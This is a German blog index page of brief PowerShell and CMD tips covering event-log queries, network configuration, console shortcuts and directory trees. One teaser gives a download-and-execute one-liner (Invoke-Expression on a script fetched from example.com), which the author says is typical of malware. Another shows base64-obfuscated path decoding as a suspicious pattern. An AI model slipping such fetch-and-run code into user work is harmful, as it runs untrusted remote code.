Wenn man einmal schnell die Fehlermeldungen oder auch nur Warnungen von Windows aus der Ereignisanzeige mittels PowerShell abrufen will, so kann man dies mit folgendem Kommando: get-winevent -FilterHashtable @{Logname = 'System';Level=2} -MaxEvents 30 | sort-Object ProviderName,TimeCreated Will man auch noch die Warnungen dazu haben, so muss aus Level=2 einfach Level=3 werden....

Weiterlesen →
ipconfig Nachbau

Will man die Details über die Netzwerkkonfiguration von Windows erfahren, so nimmt man standardmässig den Befehl ipconfig/all unter der CMD Konsole. Unter PowerShell geht das wie folgt genauso gut: Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer Damit erhält man alle Netzwerk-Informationen direkt vom System....

Weiterlesen →
Remote Script ausführen

Es ist meist im Bereich Malware zu finden, aber manchmal gibt es wirklich die Anforderungen, dass man mittels PowerShell ein Skript aus dem Netz lädt und es dann ausführt. Dies geht wie folgt mit den beiden Befehlen: $url = 'http://example.com/script.ps1' Invoke-Expression (New-Object Net.WebClient).DownloadString($url)....

Weiterlesen →
Shortcuts in Windows CMD Konsole

Man mag es nicht täglich nutzen müssen, aber dennoch sollte man wissen dass es auch Shortcuts in der Microsoft Windows Konsole gibt, die manchmal nützlich sein können. Zunächst einmal die Erläuterungen, welche Shortcuts es überhaupt gibt: F1: Tippen oder halten Sie diese Taste, um Ihren letzten Befehl Buchstabe für Buchstabe erneut einzugeben.F2: Kopiert den aktuellen Befehl bis zu einem angegebenen Zeichen.F3: Gibt die gesamte vorherige Zeile erneut einF4: Löscht den aktuellen Befehl automatisch bis zu einem angegebenen Zeichen.F5: Ähnlich wie F3, ermöglicht Ihnen jedoch das Durchlaufen vorheriger Befehle.F6: Fügt den EOF-Indikator in CMD ein.F7: Öffnet eine Liste der zuvor eingegebenen Befehle.F8: Ähnlich wie F5, stoppt jedoch nicht am Ende Ihres Befehlsverlaufs in der Sitzung. Stattdessen geht es bis zum Anfang.F9: Gibt einen vorherigen Befehl ein, indem eine mit dieser Zeile verknüpfte Nummer eingegeben wird. Was man so kennt ist F5, also das Durchlaufen der zuvor in einer Sitzung durchlaufenden Befehle. Allerdings geht dies wesentlich einfacher mit der Cursor-Taste hoch bzw. runter, also wie bei allen Linux Shells. Was ich persönlich aber noch nicht kannte ist die Kombination F7. Damit geht ein kleines Fenster auf und man kann einen der zuvor genutzten Befehle erneut absetzen. Das ist sehr praktisch. Das sieht dann wie folgt aus:....

Weiterlesen →
Verzeichnisstruktur in der Windows CMD Konsole anzeigen

Oft befindet man sich in der Windows CMD Konsole und hangelt sich mit „dir“-Befehlen durch, um zu sehen, welche Dateien und Verzeichnisse existieren. Die Übersicht über die Verzeichnisstruktur, wie man diese aus dem Windows Explorer kennt, wird nicht unterstützt. Oder etwa doch? Ja, mit dem Befehl tree kann man ganz einfach die Verzeichnisstruktur des aktuellen Verzeichnisses und aller darunter befindlichen Ordner schnell visualisieren....

Weiterlesen →

weitere Beispiele

Pfad-Angaben verstecken

Auf der Suche nach Mustern für verdächtige PowerShell-Ausführungen (weitere Beispiele) findet sich auch oft die Nutzung von codierten Strings. Beispiel ist die zuvor codierte Pfadangabe mittels Base64 dann beim „Opfer“ wieder in eine lesbare Pfadangabe zu decodierten und dann auszuführen, wie folgt: $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz'));....

Weiterlesen →